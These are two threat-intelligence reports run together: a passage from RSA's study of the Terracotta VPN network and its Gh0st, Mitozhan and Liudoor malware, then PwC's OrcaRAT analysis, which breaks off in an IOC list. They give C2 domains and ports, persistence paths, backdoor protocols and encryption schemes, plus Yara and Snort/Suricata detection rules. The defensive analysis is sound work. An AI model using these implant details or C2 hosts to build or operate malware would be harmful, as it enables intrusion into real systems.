At least in this months long campaign, we see advanced threat actors using Terracotta VPN infrastructure to obscure their origins and cover their tracks.
For more information on these advanced threat actors, refer to the Shell_Crew report from the RSA Incident Response Team here: http://www.emc.com/collateral/white-papers/h12756-wp-shell-crew.pdf 15 TERRACOTTA VPN BREAKDOWN A recent network node location breakdown of the Terracotta network indicates that a high percentage of nodes are in China, with secondary focus in the United States and South Korea.
Additionally we see smaller quantities in other disparate locations.
Figure 8.
Geographic concentration of Terracotta VPN Nodes DETECTION Depending on what aspect of the attack you are looking for, detecting Terracotta VPN in your network will likely require a number of different detection methods and technologies.
DETECTING NODE ENLISTMENT ACTIVITY If a host has been enlisted as a VPN node in the Terracotta network, the compromised server will beacon to the following URLs as the servers authenticate users to the VPN service: 1.8800free.info (currently resolves to IP address in Zhengzhou, Henan Province, PRC) 2.8800free.info (currently resolves to IP address in Hangzhou, Zhejiang Province, PRC) Servers exhibiting this behavior should be examined for compromise.
DETECTING NODE USE IN ATTACKS To detect the use of Terracotta VPN nodes in attacks, ingress/egress connections from the host nodes should be noted and investigated.
Hits on these nodes would indicate anonymization activity from the Terracotta network.
16 DETECTING USE OF TERRACOTTA VPN RESOURCES To detect users of this service, connections to Client Authentication Domains (Appendix 1) should be monitored.
Hits to these domains would indicate an end-user using the downloadable VPN client to select VPN nodes for use.
Additionally, hits to Client Marketing Domains (Appendix 1) may indicate an end-user shopping for access to the VPN service.
DETECTING TERRACOTTA ASSOCIATED MALWARE RSA Research has associated several notable malware samples with the Terracotta eco-system.
These binaries have been used to provide backdoor/RAT services on compromised servers.
RSA Research has observed that this malware is commonly installed by the actors concurrently with other remote administration tools including Radmin, DameWare, and Windows telnet server.
Other lateral reconnaissance and exploitation tools used by the Terracotta actors include various port scanners and password dumpers such as Mimikatz and a Chinese tool called DolphinQ.4 Additionally, many Terracotta nodes had sometimes multiple instances of CCProxy installed to provide additional anonymization services.
These CCProxy instances used locally configured credentials, and not central authentication like the VPN services.
While this is not a thorough analysis of the malware encountered during this investigation, several samples were directly tied to the initial enlistment of the servers as nodes into the Terracotta VPN ecosystem, as mentioned in the Modus Operandi section.
Gh0st RAT MM523 File Size: 21.9 MB MD5: bccbba3ed45ead051f56fc62fef005a6 C2: vpn.mm523.net:10000 (currently sinkholed by RSA Research5) http://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/zegost http://www.microsoft.com/security/portal/threat/encyclopedia/entry.aspx?NameTrojanDropper:Win32/Zegost.
Btab2 RSA Research refers to this variant, or build of Gh0st RAT as MM523 based on the C2 domain.
Gh0st is a full function Remote Administration Tool (RAT) with keystroke logger, file manager, remote terminal shell, screen control and capture, and many other functions.
Pertinent analysis on Gh0st RAT is available6.
Since the majority of confirmed Terracotta-compromised systems are running 64-bit Windows Server 2008 R2, this section will detail more findings that are pertinent to that platform, rarely covered by typical sandbox analysis.
This particular binary was found on only one system, but appears to be an installer or dropper for the Gh0st malware that was found on multiple Terracotta compromised servers prior to February 2015.
This malware is unusually large because it is padded with zeros.
The large file size may have been a rudimentary attempt to avoid antivirus or network security systems.
To be sure, absent the padding, a binary comparison proves that the sample is identical to the sample submitted to VirusTotal in July 2014 with MD5 of e421d07c316ab6e04fd0bfa122f1d953.7 Gh0st was coded originally for Windows XP.
Though the dropper will successfully install on more modern Windows systems, there are unresolved issues with its installation on Windows 7 and Windows Server 2008R2.
The dropper scans the Windows registry here: HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost\Netsvcs It finds the first unused (stopped and disabled) service that runs under service process svchost netsvcs.
On typical Terracotta victim servers, this has been the FastUserSwitchingCompatibility service, which is a deprecated service left-over from Windows XP for compatibility.
Since FastUserSwitchingCompatibility it is not an actual service that can run on versions later than Windows 4 https://www.virustotal.com/en/file/9b8257000b05116a3631630c44b9f6b18c13e5bc5635c1fa3f20a01f70380909/analysis/ 5 A sinkholed domain is one that was used by its owner specifically for malicious activity and thus subject to lawful seizure.
Malware that is sinkholed is redirected to an analysis system controlled by researchers or law enforcement instead of the criminals.
The sinkhole is then used for intelligence research and victim notification.
6 http://www.mcafee.com/us/resources/white-papers/foundstone/wp-know-your-digital-enemy.pdf 7 https://www.virustotal.com/en/file/3a2d5ce9f5f953f0499773a05f26317f9f6745352031bb8dafbb6aadf0e8e57b/analysis/ 17 XP, Microsoft has omitted the service description text.
So the Gh0st dropper scans to the next description, and artifacts arising from that issue include a misspelled and mismatched description for the hijacked FastUserSwitchingCompatibility which is Windows Sxitcway Firewall/Internet Connection Sharing (ICS).
A Google search for the word Sxitcway will reveal other malware that encounters similar platform compatibility problems.
The dropper installs its service DLL named with five random letters with the following path in the normally hidden ProgramData directory.
Example: C:\ProgramData\Application Data\Storm\update\SESSIONNAME\hbeya.cc3 The Gh0st service DLL binary in this location is approximately 22MB in size, and because the file is generated dynamically, has a unique file hash for each installation.
Upon initial execution, the Gh0st RAT dropper is extremely busy, querying for some 75 URLs associated with legitimate antivirus vendors however, no connections are made to these URL for C2.
For control, the RAT connects to the IP found with a DNS query to vps.mm523.net on port 10000 using the same connection string as the cb1st variant of Gh0st analyzed by Norman in The Many Faces of Gh0st paper here: http://download01.norman.no/documents/ThemanyfacesofGh0stRat.pdf RSA Research determined that some 240 systems around the world are infected with this Trojan, including approximately 100 Terracotta VPN nodes.
Gh0st RAT GDS520 File Size: 204.5KB MD5: possibly 81c08ae40700d863f5dbd35599192962 and/or ef938cd1594b6b44507c6423cd39d5f5 C2: gds520.com:8086 (Active) Following the neutralization of the MM523 Gh0st RAT communication with the RSA Research seizure of its C2 domain, RSA Research observed malicious services installed by a dropper variant very similar to the MM523 Gh0st variant on newly compromised Terracotta victims.
While similar to the Gh0st RAT MM523 build, this build we dub GDS520 has a different service DLL location and C2 URL.
The GDS520 sample had been in the wild before the RSA Research sinkholing of mm523.net, based on the date two dropper variants were uploaded to VirusTotal.
Similar to Gh0st RAT MM523, these variants are characterized by DNS lookups to multiple antivirus vendor update URLs, in addition to the C2 URL, gds520.com over port TCP port 8086.
The Ghost RAT GDS520 service DLL is named with five random letters and is installed in the following location with the example file name: C:\ProgramData\DRM\SESSIONNAME\vxujx.cc3 Notably, the dropper deletes itself after successfully installing the RAT service.
This is unlike the Gh0st RAT MM523 variant, which did not delete itself.
Finally, the two GDS520 Ghost RAT variants found on VirusTotal were built with file properties to resemble a legitimate Microsoft program (Figure 9), and included a digital certificate as one of the executables resources, which can be displayed in the file properties digital signatures tab (Figure 10).
RAT files were appended with a digital signature taken from a legitimate file signed by Kaspersky Lab.
Since the signature corresponds to a different file, it appeared as invalid.
Any more than cursory review of the dropper executable properties would reveal the invalid signature.
These dropper samples used the exact same Kaspersky certificate described in the article Certificate SnatchingZeuS Copies Kasperskys Digital Signature by TrendMicro.8 8 http://blog.trendmicro.com/trendlabs-security-intelligence/certificate-snatching-zeus-copies-kasperskys-digital-signature/ 18 Figure 9.
Gds520 Gh0st RAT installer file details Figure 10.
Gds520 Gh0st RAT installer with invalid code signing using Kaspersky public certificate On one compromised system investigated in May of 2015, forensic artifacts showed the source IP address of the GDS520 installer (Figure 11).
Figure 11.
Forensic artifacts left behind on a victim server by the actor downloading the GDS520 Gh0st RAT installer from a Beijing IP address 19 A cache of the page indicated it was from a type of ephemeral file server known as HTTPFileServer (HFS)9.
The HFS server cached page showed that the HFS daemon had been up for 4 minutes (Figure 12).
Fortunately for the investigation, the ephemeral HFS daemon maintains usage statistics.
Out of the 37 files available on the HFS page to the Terracotta actor, the GDS520 Gh0st RAT appeared to be the most commonly downloaded, with 1225 total downloads (Figure 12).
9 http://www.rejetto.com/hfs/ 20 Figure 12.
HFS-hosted tool repository from which Terracotta actor downloaded the GDS520 RAT installed on victim server.
Note the yellow-highlighted information for s.exe.
21 The HFS daemon was running on an IP address from a range assigned  to a middle school in Beijing according to Whois information10.
Virus Total11 12 13 14 reveals that hosts in this IP range have been used, extensively in the first half of 2015, to host malicious tools including the GDS520 Gh0st RAT variant and other exploitation tools found on at least three Terracotta victim systems.
Also notable in Figure 12 is the third most-often downloaded tool from the actors HFS page, named Win64.exe15.
RSA Research found this on one Terracotta victim server, and determined this to be a variant of the Windows privilege escalation exploit tool as described by Crowdstrike in a blog post on Hurricane Panda16.
RSA Research does not know if the Beijing IP address range was leveraged exclusively by Terracotta operators.
Mitozhan Trojan File Size: 87 KB MD5: 7b18614df95e71032909beb25a7b1e87 C2: vps.mm523.net:81 (sinkholed) This malware copies itself to the Windows directory (C:\Windows) and gives itself a new random name.
Every time the malware runs, the executable name will vary but the file name length remains the same 6 characters.
Example: C:\WINDOWS\fatjse.exe The Image Path of the newly-copied file is then used to add a new service to the ControlSet Registry Key.
This will ensure persistence on the infected machine.
The name of the new service (GHIJKL NOPQRSTU WXY) might be suspicious to administrators.
Example: RegKey Name: MACHINE\SYSTEM\CONTROLSET001\SERVICES\GHIJKL NOPQRSTU WXY RegKey Data: C:\WINDOWS\fatjse.exes\\0 The malware performs a DNS request to vps.xxxxx.net for resolution of its controller.
The infected machine connects to the controller over TCP port 81 with the following initial connection string (Figure 13).
Figure 13.
Mitozhan C2 connection string Two strings of interest are revealed upon examination of the process in memory.
cccccc.exe GET s HTTP/1.1Content-Type: text/htmlHost: sAccept: text/html, /User-Agent:Mozilla/4.0 (compatible MSIE d.00 Windows NT d.0 MyIE 3.01) Search engine results for the last part of the UA string MyIE 3.01 show the exact UA string mentioned in a blog post by FireEye in 201017.
The FireEye blog references another blog by researchers from Arbor Networks18.
The latter blog describes in more 10 https://whois.domaintools.com/211.153.xx.x 11 https://www.virustotal.com/en/ip-address/211.153.xx.x/information/ 12 https://www.virustotal.com/en/ip-address/211.153.xx.x/information/ 13 https://www.virustotal.com/en/ip-address/211.153.xx.x/information/ 14 https://www.virustotal.com/en/ip-address/211.153.xx.2xx/information/ 15 https://www.virustotal.com/en/file/d7bd289e6cee228eb46a1be1fcdc3a2bd5251bc1eafb59f8111756777d8f373d/analysis/1429772817/ 16 http://blog.crowdstrike.com/crowdstrike-discovers-use-64-bit-zero-day-privilege-escalation-exploit-cve-2014-4113-hurricane-panda/ 17 https://www.fireeye.com/blog/threat-research/2010/10/avzhan-botnet-the-story-of-evolution.html 18 http://www.arbornetworks.com/asert/2010/09/another-family-of-ddos-bots-avzhan 22 depth the malware behavior, which shares several elements with the sample under investigation, including the use of a raw TCP connection to the server, the UA string in memory, and the pattern to generate the executable name.
The legitimate properties and text depicted in the file appear to obscure the actual malicious intent.
The file is named after a very popular photo markup program in China called  19 or  Mito Xiu Xiu (Figure 14).
Figure 14.
Mitozhan file properties shares name and description with popular benign program RSA Research determined that approximately 180 systems were infected with this Trojan, approximately one third of which were active in the Terracotta VPN node ecosystem.
Backdoor Liudoor File Size: 87 KB MD5: 531d30c8ee27d62e6fbe855299d0e7de20 C2: 0.0.0.0:3433 This is a simple backdoor similar to the common Portless Backdoor21 found running as a service on at least five Terracotta VPN victim servers, that RSA Research has dubbed Liudoor.
It was installed as Windows\SysWOW64\rasauto.dll running as what would be the unused RasAuto service on victim Windows Server 2008 R2 systems.
While RSA Research did not find the dropper for this backdoor, it could have just as easily been installed with a batch script.
This sample binds to TCP port 3433 and waits for an incoming request, probably from a dedicated client used by its operator.
It will send the 4 bytes pass, it expects to receive the binary string E10ADC3949BA59ABBE56E057F20F883E (shown here in ASCII text).
This is the MD5 hash of the ASCII string 123456.
The backdoor process will compare what is passed from the client to that hard coded value, and if successful it will send back succ, if not it will sent back fail.
Once the sample has successfully authenticated it will create a thread and pipe data back and forth to the Windows command shell process, cmd.exe.
It takes the input and parses the string sent to the sample for 0x0D (the obfuscation XOR key) or carriage return...and then passes everything before that to cmd.exe.
The shell can be halted with the exit command.
Other hard coded binary options include a certain value that will run the console program nbstat.exe for NetBIOS network information, which might be useful to its operator for lateral exploitation of other Windows computers on the victim network.
RSA Research found similar Backdoor Liudoor files on VirusTotal with the following characteristics: 78b56bc3edbee3a425c96738760ee40622 listens on port 3340 5aa0510f6f1b0e48f0303b9a4bfc641e23 listens on port 3433 2be2ac65fd97ccc97027184f0310f2f324 listens on port 1234 On more recently discovered Terracotta victims, Liudoor was observed to listen on TCP port 64111 or 33911.
19 http://xiuxiu.web.meitu.com 20 https://www.virustotal.com/en/file/ad1a507709c75fe93708ce9ca1227c5fefa812997ed9104ff9adfec62a3ec2bb/analysis/ 21 http://www.symantec.com/security_response/writeup.jsp?docid2003-122516-0717-99tabid2 22 https://www.virustotal.com/en/file/deed6e2a31349253143d4069613905e1dfc3ad4589f6987388de13e33ac187fc/analysis/ 23 https://www.virustotal.com/en/file/4575e7fc8f156d1d499aab5064a4832953cd43795574b4c7b9165cdc92993ce5/analysis/ 24 https://www.virustotal.com/en/file/e42b8385e1aecd89a94a740a2c7cd5ef157b091fabd52cd6f86e47534ca2863e/analysis/ 23 DETECTING TERRACOTTA ACTIVITY IN RSA SECURITY ANALYTICS AND RSA ECAT Organizations with robust and consistently applied security controls on Internet-facing infrastructure should face little risk that their servers would be enlisted as VPN nodes by Terracotta actors.
Two Fortune 500 companies that were identified as victims were exceptions as the comprehensive application of security controls fell short.
More threatening to otherwise well-defended organizations is the threat of advanced threat actors originating from legitimate, but compromised, organizations.
Any network connection with a Terracotta VPN node should be treated with great suspicion and investigated immediately.
Built into RSA Security Analytics is the automatic threat intelligence aggregation and delivery system known as RSA Live.
Updated Terracotta node IP addresses are provided in RSA Live as part of the suspect VPN node feed, and available upon request.
In Figure 15, RSA Security Analytics has alerted on the Derusbi server handshake parser from RSA Live.
It also has alerted on the source of the malicious Derusbi Command and Control (C2) which is a Terracotta node, described as a criminal VPN service exit node by Security Analytics.
Figure 15.
RSA Security Analytics detects advanced threat control of Derusbi server backdoor originating from Terracotta VPN Node 24 In Figure 16, a redacted screenshot from RSA Security Analytics shows an alert on a suspicious login to an otherwise secure website from a Terracotta VPN node.
Any authentication from Terracotta to an organizations secure websites should be treated as hostile and investigated accordingly.
Figure 16.
RSA Security Analytics detection of secure website login (redacted) from Terracotta VPN 25 DETECTING TERRACOTTA MALWARE USING RSA SECURITY ANALYTICS AND ECAT An ounce of prevention is worth a pound of cure.
Certainly this idiom from Ben Franklin applies to efforts to defend against this class of threats (not particularly sophisticated, opportunistic, but potentially very costly).
RSA Research assesses that had the Windows firewall been turned on, and the default Administrator account been renamed in each of the victim systems examined, the systems would not have been compromised with the methods employed by Terracotta.
Still, in both large and small organizations, a dichotomy may manifest between a Security 101 policy and application of that policy, especially in development and cloud environments.
Note: This is not intended to be a cyber-hunters cookbook for finding Terracotta activity with RSA Security Analytics and ECAT, but rather to offer takeaways on the indicators quickly identified by these tools.
The out of the box Gh0st protocol parser from RSA Live detects the cb1st Gh0st protocol string used by both the GDS520 and MM523Gh0st RAT variants, highlighted in red in Figure 17.
Security Analytics shows an actual victim system in Iran that was infected with the now-neutralized MM523 Gh0st RAT variant calling-back to a RSA Research sinkhole.
Figure 17.
Gh0st protocol employed by MM523 Gh0st RAT detected by RSA Security Analytics 26 RSA ECAT will readily detect both Gh0st RAT variants employed by the Terracotta actors.
In Figure 18, RSA ECAT has raised the Threat Level scores from low single-digit numbers to well above 100 when the GDS520 Gh0st RAT was installed.
Figure 18.
Raised threat level scores indicate malware infection on server and workstation Double clicking on the workstation in the RSA ECAT console will bring up details about the system, where an analyst can drill- down into the network connections, and responsible processes.
In Figure 19, a Security Operations Center (SOC) analyst would be alerted by (illustrated in red boxes) the high score, the Suspicious Threads, and then hone in on the Gh0st C2 connections identified by RSA ECAT.
Figure 19.
Suspicious network connections to the Gh0st C2 Domain as seen in RSA ECAT console 27 Figure 20.
RSA ECAT uses IIOCs to identify floating code employed by Gh0st RAT malware In our Gh0st RAT malware scenario, the SOC analyst would be able to identify the infections of a server and workstation in RSA Security Analytics.
The red boxes in Figure 20 illustrate Gh0st RAT protocol detection and botnet threat categorization by RSA Security Analytics.
An analyst also might notice the unusual communications port.
28 Figure 21.
RSA Security Analytics alerts on system infected with Gh0st RAT as it calls back to C2 IP address on port 8086 29 While the particular variant of the Mitozhan Trojan described in this papers malware analysis section has been neutralized by RSA Research with the seizure of its C2 domain it is likely that other variants with different C2 domains persist.
RSA developed a Lua parser to detect Mitozhan Command and Control (C2) activity, now available through RSA Live and included as an appendix.
Figure 22 is a redacted screenshot showing the Mitozhan Lua parser in action as it alerts on Mitozhan C2 activity on a RSA Research sinkhole.
Figure 22.
LUA Parser used to detect the Mitozhan C2 Activity in RSA Security Analytics 30 Mitozhan Trojan is also readily detected upon initial scan with RSA ECAT.
Figure 23 shows the initial RSA ECAT console display for the infected system, with initial indicators marked in red boxes.
Figure 23.
RSA ECAT console shows infection with Mitozhan.
Note the high threat score, file name with random letters, and the unsigned executable with Chinese name While RSA ECAT can detect a never-before-seen malware infection out-of-the-box without signatures, a well-prepared SOC will have signatures to help identify the threats behind the malware.
That is where the built-in Yara features of RSA ECAT really shine.
Yara is an open source tool that helps threat intelligence analysts and malware researchers classify and identify malware with granularity that no antivirus product can match.
Using the Yara signature included in the Appendix, our example SOC analyst homes in on a suspicious rasauto.dll process identified by RSA ECAT as unsigned in Figure 24.
By right-clicking on the suspicious process, the analyst can initiate a Yara scan using pre-configured rules Figure 24.
ECATs YARA integration allows the SOC analyst or incident responder to quickly identify malware that may be associated with a specific threat 31 In this scenario, the SOC analyst has used ECAT to scan the suspicious process.
As illustrated with the red box on the right of Figure 25, the Yara result is a confirmed infection with Liudoor.
The Liudoor YARA signature is included in the Appendix Figure 25.
RSA ECAT indicates the YARA scan results.
Backdoor Liudoor found For more technical details on how RSA ECAT can be used to proactively detect malware not discovered by traditional methods including antivirus, refer to the whitepaper RSA Incident Response: An APT Case Study.
https://blogs.rsa.com/wp-content/uploads/2015/05/RSA-IR-Case-Study.pdf Terracotta Indicators for Security Analytics have been loaded into the following feeds in RSA Live: RSA Firstwatch APT Threat Domains RSA Firstwatch Command and Control Domains RSA Firstwatch Criminal VPN Exit IPs RSA Firstwatch Insider Threat Domains 32 PREVENTION Terracotta VPN operators are not using sophisticated methods to harvest their VPN nodes from vulnerable organizations around the world.
RSA Research assesses that any one of the following hardening steps would have prevented each of the confirmed victim compromises: 1 Block port 135 on external router and/or firewall a.
There is no known business-use for having port 135 exposed to the Internet b.
Recommend: hardware firewall configured with allow inbound by exception policy 2 Rename Administrator account on all Windows systems to a unique alphanumeric name 3 Use a strong (bi-case letters, numbers plus multiple special characters) 15 character password that does not use keyboard patterns a.
Keyboard patterns are found in nearly all password cracking dictionaries b.
Recommend: regularly change passwords In contrast to the simple security controls that can prevent enlistment of an enterprises Windows servers into the Terracotta VPN node ecosystem, detecting advanced threat actors who are using Terracotta VPN nodes to hide their origin is more complicated.
Infallible prevention may not be possible, and therefore detection is key.
Use non-signature-based network analysis and end-point analysis capabilities such as provided by RSA Security Analytics and RSA ECAT to proactively detect and thwart compromise of your organizations network, before your most valuable asset---your information is compromised.
ATTRIBUTION AND PATTERN OF LIFE Terracotta is a PRC-based operation that uses opportunistic, large-scale exploitation methods to obtain and augment a global, highly-marketable VPN service.
RSA Research has no evidence suggesting that advanced threat actors such as Shell_Crew, or other suspected nation-state sponsored threat actor group is involved in any of the Terracotta exploitation activities.
The attractiveness of the Terracotta ecosystem to advanced threat actors may be strictly utilitarian: a very low-cost platform for attacks that serves to ultimately reduce the probability of detection.
All compromised systems investigated by RSA Research were enlisted by actors originating primarily from IP ranges in Dongguan and other areas of the Guangzhou megalopolis, or from the city of Wuhan.
The Terracotta exploitation activity from Dongguan took place primarily during weekends and hours outside of the normal mainland PRC workday using the following Windows hostname: WEI-270FBC26C38 Forensic images reveal this hostname was consistently used in initial victim compromise from late 2013 through June 2015.
Exploitation activity originating from Wuhan took place during normal PRC work week days and hours.
The following hostname was used: QT-201312081446 In Terracotta system compromises investigated in 2015, there appeared to be coordination between the actor(s) originating from Dongguan IP addresses, and the actor(s) originating from Wuhan IP addresses.
In six out of seven systems examined, the initial VPN test connection on a newly compromised server originated from Windows hostname WEI-270FBC26C38 with Dongguan IP address, which was shortly followed by a VPN test connection using the Windows hostname QT-201312081446 from a Wuhan IP address.
Only after the successful connection from Wuhan was completed, did the node appear to be added to the Terracotta node list displayed by Terracotta brand software clients.
33 CONCLUSIONS The Terracotta VPN system is marked by a grey-market anonymization ecosystem that is constructed, at least partially, of hacked servers.
The Terracotta node ecosystem appears to enable better anonymity for advanced threat actors than would otherwise be allowed by a more conventional VPN service with a legitimate and transparent node infrastructure.
APPENDIX Malware Sample Hashes Malware Domains Yara Signatures C2 Lua Parsers Terracotta User Account Authentication URLs AVAILABLE TO INDUSTRY PARTNERS UPON REQUEST Terracotta VPN Client Marketing Website Domains Terracotta Software Client Authentication Domains Current Terracotta Node List Email conopsrsa.com for more information.
AUTHORS Kent Backman, Primary Research Alex Cox, Contributing Steven Sipes, Contributing Ahmed Sonbol, Contributing RSA Incident Response Team, Contributing RSA Labs, Contributing The authors would like to thank a number of colleagues from RSA and industry for their advice and assistance on this project.
OrcaRAT - A whale of a tale By Dan Kelly and Tom Lancaster Its every malware analysts dream to be handed a sample which is, so far, unnamed by the AV community - especially when the malware in question may have links to a well-known APT group.
In my line of work I analyse several unknown malware samples a week, but often it turns out that they are simply new variants of existing malware families.
Recently I was fortunate enough to be handed something that not only had a low detection rate but, aside from heuristics, seemed to be relatively unknown to the top 40 anti-virus companies.
In this post I will walk you through the malware family weve dubbed OrcaRAT.
First of all, it is worth pointing out that most of the malware I see on a day-to-day basis is espionage orientated, and very rarely do the programmers and operators make much effort to cover their tracks.
The use of forged HTTP headers is a common occurrence and simple mistakes within these headers are frequent.
The malware in question was handed to me by one of our threat intelligence analysts who was hunting through infrastructure associated with some samples of Comfoo[1] malware and happened across a malware sample (253a704acd7952677c70e0c2d787791b8359efe2c92a5e77acea028393a85613) he didnt recognise.
He immediately took the malware and passed it through first stage analysis, which involves running the file in a sandbox environment.
After this, he handed it over for more in-depth capability analysis.
The structure I began by looking over the sandbox report.
The first thing that drew my attention was the URI structure.
(
A screenshot showing the HTTP headers and URI structure that OrcaRAT produces) http://pwc.blogs.com/.a/6a00d83451623c69e201bb079a440d970d-pi To those of us who are familiar with decoding data, you will notice that the URI string formatting appears to be a modified version of the Base64 algorithm.
To understand this structure more, we must reverse engineer the functions that generate and then encode the data.
Firstly we begin by analysing the routines that produce the data which is later encoded and sent in the HTTP URI field.
The very first thing that jumped out when disassembling the malware is the simplicity and cleanliness of the code.
There are also a significant number of Windows Crypto API[2] functions imported by the malware, so we can assume this indicates that it uses encryption.
(
A screenshot showing the functions that are imported by OrcaRAT) Delving deeper in to the disassembly, we come across the preamble to the URI generation function: http://pwc.blogs.com/.a/6a00d83451623c69e201bb079a4423970d-pi (A screenshot showing the decoding and generation of a string value) The function above uses Windows crypto API to generate a random number of 6 bytes, then dynamically builds and appends the word OrcaKiller on to the end of this number.
In one such example the final product was \x61\xBA\xF4\x44\x52\xF1OrcaKiller (where \x denotes hexadecimal values).
Once this value has been produced, the malware begins constructing the URI.
With many pieces of malware the initial communications that it sends out to its command and control server (known as beaconing or phoning home) usually include pieces of information about the victim system.
OrcaRAT is no exception.
The randomly generated values noted above are actually used to encrypt several pieces of information that are extracted from the system, and even the key itself is included.
http://pwc.blogs.com/.a/6a00d83451623c69e201bb079a4438970d-pi (A screenshot showing an encryption function used by OrcaRAT) All of the values extracted from the system are encrypted using the RC4[3] algorithm and then base64 encoded.
The RC4 encryption key is derived from an MD5 hash[4] of the randomly generated bytes concatenated with the OrcaKiller string.
Once the data has been encrypted it is base64 encoded.
Any forward slashes in the base64 string are replaced with a tilde - pseudo code is shown below.
Once all of the values have been encrypted and formatted the URI has the following structure: (A screenshot showing the URI structure of OrcaRAT command and control activity) http://pwc.blogs.com/.a/6a00d83451623c69e201b8d07f229e970c-pi http://pwc.blogs.com/.a/6a00d83451623c69e201bb079a4466970d-pi http://pwc.blogs.com/.a/6a00d83451623c69e201bb079a4497970d-pi The campaign ID value is constructed using a method similar to that for the encryption key.
(
A screenshot showing the generation of the first hidden string value) It would appear that the authors did not want anybody to be able to easily see this value.
This now gives us OrcaKiller and wHaLe.
It would appear that our adversary has a salty sense of humour.
Command and control As with all malware, the command and control functions reveal the true nature and intent of the operators.
Up until now we have only determined how the malware communicates with the server.
We will now investigate the mechanisms that the server uses to communicate and interact with the victim.
The command and control routine in OrcaRAT appears to serve two purposes.
Interestingly these routines are split in to two branches.
Each branch of command and control activity is determined by the unique response from the remote server.
Command and control takes form of a webpage.
Unlike malware designed by the well-known Comment Crew[5], this group does not hide these commands in HTML comments, but instead places them in plain view.
The first set of commands force the malware to behave as a simple downloader.
http://pwc.blogs.com/.a/6a00d83451623c69e201b8d07f230d970c-pi (A screenshot showing OrcaRAT parsing the HTML code behind a webpage) Upon downloading the webpage from the server the malware looks for specific sets of HTML tags.
The first set are P and the terminating tag /P.
Once the malware has found these tags it drops in to the first command and control function.
The malware then extracts the payload text between the HTML tags and runs it through a decryption routine.
The same encryption key that is sent in the URI string is used to decrypt the text.
Once the payload text has been decrypted the malware treats this as a binary executable file, which is then written to the disk and executed.
The second set of HTML tags allows the operator to drop the malware in to a set of remote control functions.
This time the malware searches for the H1 tag that is terminated by /H1.
Once the payload text between these tags has been extracted it is then decrypted using the encryption key found in the URI string.
The payload text from this page is much smaller and ultimately points to the command function that the operator has executed.
http://pwc.blogs.com/.a/6a00d83451623c69e201bb079a44cf970d-pi (A screenshot showing the structure of the command and control routines within OrcaRAT) The command and control structure is fairly simplistic but provides the operator with access to the victim machines filesystem and command line, and as such allows the attacker to perform various tasks such as executing arbitrary commands or uploading and downloading files from the compromised system.
After a command and control message is received, OrcaRAT sends an HTTP POST message back to the command and control server.
Each time that the URI is built it generates a new encryption key, showing that the command and control server is at least serving dynamic content.
Given the command structure above, it is logical to assume that the command and control server requires an operator to manually issue specific commands to the victim workstation, with the default command likely being sleep.
Given the information above we can reasonably assume that this malware was most likely designed as a first stage implant.
History has shown that malware designed in this way is usually done so to allow the operator an initial level of access to the compromised system, usually for surveying the victim and then deciding whether to deploy a more capable and valuable second stage malware implant.
Detection Once OrcaRAT has been delivered to a victim system there are a number of ways to detect it.
Firstly we will cover disk detection using Yara.
The rule below will detect an OrcaRAT binary executable that has been written to a compromised machines disk.
rule OrcaRAT  meta: author  PwC Cyber Threat Operations   :: tlansec distribution  TLP WHITE sha1    253a704acd7952677c70e0c2d787791b8359efe2c92a5e77acea028393a85613 http://pwc.blogs.com/.a/6a00d83451623c69e201b7c6f524de970b-pi strings: MZMZ apptype1application/x-ms-application apptype2application/x-ms-xbap apptype3application/vnd.ms-xpsdocument apptype4application/xamlxml apptype5application/x-shockwave-flash apptype6image/pjpeg err1Set return time error    d err2Set return time   success err3Quit success condition: MZ at 0 and filesize  500KB and   (all of (apptype) and 1 of (err))  OrcaRAT can also be detected in two separate ways at the network level using a Snort or Suricata IDS rule.
Detecting malware at different stages of connectivity can be important.
By creating signatures with a nexus to the kill chain[6] we can determine which stage the intrusion has reached.
The two signatures below will indicate whether the intrusion has reached the command and control or action-on phases.
Snort: alert tcp any any - any any (msg:::[PwC CTD]:: - OrcaRAT implant check-in flow:established,from_client urilen: 67170 content:User-Agent: Mozilla/4.0 (compatible\ MSIE 8.0\ Windows NT 5.1\ Trident/4.0\ .NET CLR 2.0.50727\ .NET CLR 3.0.04506.30\ .NET4.0C\ .NET4.0E) http_header content:GET http_method pcre:/\/[A-Za-z0-9] 14,18\/[A-Za-z0-9]33,38\/[A-Za-z0-9]6,9\/[A-Za-z0-9]5,50\/[A-Za-z0- 9]5,50/U sid:YOUR_SID rev:1) alert tcp any any - any any (msg:::[PwC CTD]:: - OrcaRAT implant C2 confirmation response flow:established,from_client urilen: 67170 content:User-Agent: Mozilla/4.0 (compatible\ MSIE 8.0\ Windows NT 5.1\ Trident/4.0\ .NET CLR 2.0.50727\ .NET CLR 3.0.04506.30\ .NET4.0C\ .NET4.0E) http_header content:POST http_method pcre:/\/[A-Za-z0-9] 14,18\/[A-Za-z0-9]33,38\/[A-Za-z0-9]6,9\/[A-Za-z0-9]5,50\/[A-Za-z0- 9]5,50/U sid:YOUR_SID rev:1) Suricata: alert http any any - any any (msg:::[PwC CTD]:: - OrcaRAT implant check-in flow:established,from_client urilen: 67170 content: Mozilla/4.0 (compatible\ MSIE 8.0\ Windows NT 5.1\ Trident/4.0\ .NET CLR 2.0.50727\ .NET CLR 3.0.04506.30\ .NET4.0C\ .NET4.0E) http_user_agent content:GET http_method pcre:/\/[A-Za-z0-9] 14,18\/[A-Za-z0-9]33,38\/[A-Za-z0-9]6,9\/[A-Za-z0-9]5,50\/[A-Za-z0- 9]5,50/U sid:YOUR_SID rev:1) alert http any any - any any (msg:::[PwC CTD]:: - OrcaRAT implant C2 confirmation response flow:established,from_client urilen: 67170 content: Mozilla/4.0 (compatible\ MSIE 8.0\ Windows NT 5.1\ Trident/4.0\ .NET CLR 2.0.50727\ .NET CLR 3.0.04506.30\ .NET4.0C\ .NET4.0E) http_user_agent content:POST http_method pcre:/\/[A-Za-z0-9] 14,18\/[A-Za-z0-9]33,38\/[A-Za-z0-9]6,9\/[A-Za-z0-9]5,50\/[A-Za-z0- 9]5,50/U sid:YOUR_SID rev:1) Appendix A: Samples of Orca RAT: Hash C2 07b40312047f204a2c1fbd94fba6f53b adda.lengendport.com f6456b115e325b612e0d144c8090720f tsl.gettrials.com 139b8e1b665bb9237ec51ec4bef22f58 auty.organiccrap.com Appendix B: Related indicators Indicator Type 11.38.64.251 IP Address 123.120.115.77 IP Address 123.120.99.228 IP Address 142.0.134.20 IP Address 147.96.68.184 IP Address 176.31.24.182 IP Address 176.31.24.184 IP Address 190.114.241.170 IP Address 200.78.201.24 IP Address 202.124.151.94 IP Address 202.2.108.142 IP Address 203.146.251.11 